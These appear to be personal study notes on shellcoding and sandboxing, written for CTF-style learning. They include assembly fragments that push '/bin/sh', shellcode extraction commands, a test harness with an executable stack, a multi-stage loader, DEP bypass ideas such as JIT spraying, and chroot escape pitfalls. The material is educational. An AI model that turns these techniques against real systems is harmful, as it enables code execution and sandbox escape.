• Table of contents

Shellcoding

Introduction

• Most of the general purpose architectures (x86, ARM, MIPS etc) follow the Von-Neumann architecture framework, and as a result, the instructions and the data are stored in the same memory. Unlike Harvard architecture, which stores them in different memories.
• Since instructions and data are stored together, this can lead to scenarios when sometimes the code execution is related to the data, and we can pass malicious code in the form of data, which will get executed. The malicious code in the form of data, is known as Shellcode.
• It’s distinctively known as Shellcode because the goal of writing such malicious code has been to gain root privileges against the target system.
• Example: In the example code, one of the possible ways to achieve Shellcode execution is where the hello() function is called viz. hello(bye1, name);, it was supposed to take in the pointer to an array as the first argument, and the pointer to the function as the second argument, but the developer messed that up.

//Example code
void bye1() { 	puts("Goodbye!"); } 
void bye2() { puts("Farewell!");}
void hello(char *name, void (*bye_func)())
{   printf("Hello %s!\\n", name);
    bye_func();}
int main(int argc, char **argv)
{
    char name[1024];
    gets(name);
    srand(time(0));
    if (rand() % 2)
        hello(bye1, name);
    else
        hello(name, bye2);
}

Putting data into our code

;;Data section
.string "HELLO"                    ;;"HELLO\\0"
.byte 0x48, 0x45, 0x4C, 0x4C, 0x4F ;;"HELLO"

;;Other technique
mov RBX, 0x0068732f6e69622f ;;Moving "/bin/sh" into RBX (little endian)
push RBX
mov RDI, RSP

;;Another technique
;;mov RBX, 0x00000067616C662F ;;/flag in little endian format
mov RBX, 0x67616c66
SHL RBX, 8
mov BL, 0x2F
push RBX

Extracting shellcode

#If we have an OS which runs on the architecture of the ISA we're writing shellcode against, we can use objdump
for i in $(objdump -d binary -M intel |grep "^ " |cut -f2); do echo -n '\\x'$i; done;echo

#Generic technique
gcc -nostdlib -static shellcode.asm -o shellcode-elf
objcopy --dump-section .text=shellcode-raw shellcode-elf

#Position independent
gcc -nostdlib -static-pie shellcode.o -o shellcode-elf

#MIPS
mips-linux-gnu-gcc -nostdlib -static shellcode.asm shellcode-elf
qemu-mips-static ./shellcode #debugging cross platform shellcode, -strace

Shellcode delivery

• If we’re delivering shellcode as the part of some exploit, we must try to keep the size as small as possible, because we often have constraints on the payload size.
• Shellcode can also be embedded into an executable, as another thread, or by completely replacing existing code. In these cases, the size of shellcode is not a concern.

Testing our shellcode

We can debug our shellcode with strace() and gdb

//gcc -fno-stack-protector -z execstack shellcode.c -ggdb -o shellcode
// Shellcode testing skeleton
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "shellcode!";

int (*ret)() = (int (*)())shellcode;

void main(void)
{
    printf("Shellcode length: %d\\n", (int)strlen(shellcode));
}

//Shellcode delivery
//Both will do the same thing, but the latter one will not waste too 64-bytes
mov RAX, 1
MOV AL, 1 

Forbidden bytes

• We should make sure our shellcode doesn’t contain forbidden bytes, such as 0x00 (strcpy), \\n (scanf, gets) etc. The trick is to think of other instructions to do the same job so that these forbidden bytes don’t come up into our shellcode.
• When the shellcode constraints are too hard to get around, we can use some clever workarounds if the memory region is writable such as writing the instruction in the form of string into the memory region, and executing by taking in instruction from the DATA segment.

;;if the int3 opcode is forbidden, but memory region is writable
inc BYTE PTR [rip]
.byte 0xcb ;;int3
;;Making sure the memory where our shellcode is mapped to, is writable
gcc -Wl,-N --static -nostdlib -o test shellcode 

• If there’s no way to output data, getting a flag is difficult. In those scenarios, we can use syscalls such as close(1), and communicate one of bit information at a time, to get the flag.

• Also if the shellcode constraints are too high, we could do multi-staged loading in which the first stager passes the instruction filter and loads the rest of the shellcode, which is actually more complex in nature.

;;multi-staged loading
lea RAX, [RIP]
read(0, rax, 1000) ;;stage 1
;;whatever's beneath the shellcode will get overwritten with unfiltered better shellcode, which we can execute :)
;;And we'll be able to bypass all the restrictions put in place by the target program.

DEP bypass techniques

<aside> 👉 RWX pages

</aside>

• JIT compilation can also act as an injection point, because the machine code needs to be generated and executed, and for execution to take place, pages need to be writable and executable, the safest way to do is to map some memory into our address space, mark it writable, write data into it, change the permissions and make it executable, and keep repeating the same.
• JIT are supposed to be very fast in nature, but syscalls are slow, so these instructions get mixed up, and sometimes the pages end up being both writable and executable, and thus shellcode execution can be achieved.

- mmap(PROT_READ | PROT_WRITE)
- Write the code
- mprotect(PROT_READ | PROT_EXEC)
- Execute the code
- mprotect(PROT_READ | PROT_WRITE)
- Update the code etc

#inside /proc
grep -l rwx */maps | parallel "ls -l {//}/exe"

<aside> 👉 De-protecting memory

</aside>

Memory protection can be messed by the help of the mprotect() syscall, and we can trick the program into mrprotect(PROT_EXEC)ing our shellcode, the most common way for which is Return Oriented Programming (ROP)

<aside> 👉 JIT Spraying

</aside>

• If the JIT safely mprotects() its pages and as a result, no page being RWX, even then Shellcode Execution can be achieved, via JIT Spraying
• We put constants in our code which are valid instructions of the target ISA, the JIT will then mprotect(PROT_WRITE), convert it into bytecode, put it in the memory, then do a mprotect(PROT_EXE) to make it executable, and our code will end up being in executable memory
• We only then need to redirect execution flow into the constant

	var evil = "%90%90%90%90%90";

Sandboxing

Introduction

<aside> 👉 History

</aside>

• Back in the day, there were no operating systems and the applications directly used to run on baremetal hardware with the help of punch cards. The malicious ones could also damage the hardware if they wanted to, and as a result, operating systems were introduced acting as a layer of abstraction for the applications willing to access hardware and making sure nothing would pass without the oversight of the OS
• Even after the separation of user-space and kernel space, applications could still sabotage one another, which is why Virtual Memory came into the picture
• Then further separation techniques arose, such as with the advent of scripting languages, which brought separation b/w the interpreter and the interpreted code

<aside> 👉 The need for Sandboxing

</aside>

• Consider the case of web browser, for dynamic content, they used to have ActiveX, Adobe Flash, Java Applets and what not, and by chance a malicious threat actor could exploit one of these by loading a faulty entity, he could potentially get access to the entire system.
• The temporary resolution was killing these services which could potentially be exploited but in exchange we had to build very advanced JS rendering engines to support all the dynamic content
• Then hackers moved on to advanced exploits such as Javascript engine exploitation, media codec vulnerabilities, browser libraries vulnerabilities and what not.

<aside> 👉 The rise of Sandboxing

</aside>

The idea behind sandboxing is to run code that we don't trust, in extremely isolated environments with zero permissions, and for an attacker to successfully exploit a user, he/ she will have to first exploit the vulnerable process, and then exploit the sandbox to break

File-system isolation using chroot

<aside> 👉 Basics

</aside>

• The chroot() jail sandboxing technique is a primitive sandboxing technique, which came out firstly in UNIX, and BSD afterwards.
• It works by changing the meaning of / for a process and its children sub-processes viz. chroot("/tmp/jail"); will change the root directory for a process to /tmp/jail.
• After using chroot() to change the root directory temporarily to /tmp/jail, /someProgram would actually mean /tmp/jail/someProgram.

sudo chroot <jailDirectory> <command>

#Won't work because the meaning of / gets changed to /tmp/jail and any access to /bin/bash would actually mean /tmp/jail/bin/bash
sudo chroot /tmp/jail /bin/bash

#What we can do instead is to download a statically compiled binary of busybox, put it into /tmp/jail/ and do
sudo chroot /tmp/jail /busybox sh

<aside> 👉 Security pitfalls

</aside>

• If we use chroot, but forget to change the directory to / using the chdir("/"); syscall, we would end up outside the sandbox
• The chroot() utility doesn’t close up any previously opened resources, which can be leveraged by syscalls such as openat() and execvat(), which are similar to the original syscalls, but instead they take File Descriptor as an input, and the relative path from there, this can be leveraged to break out of the sandbox, because there is no syscall filtering in chroot
• The kernel can only track a single chroot() instance at once, if we chroot() again, it can be used to overwrite the one previously used.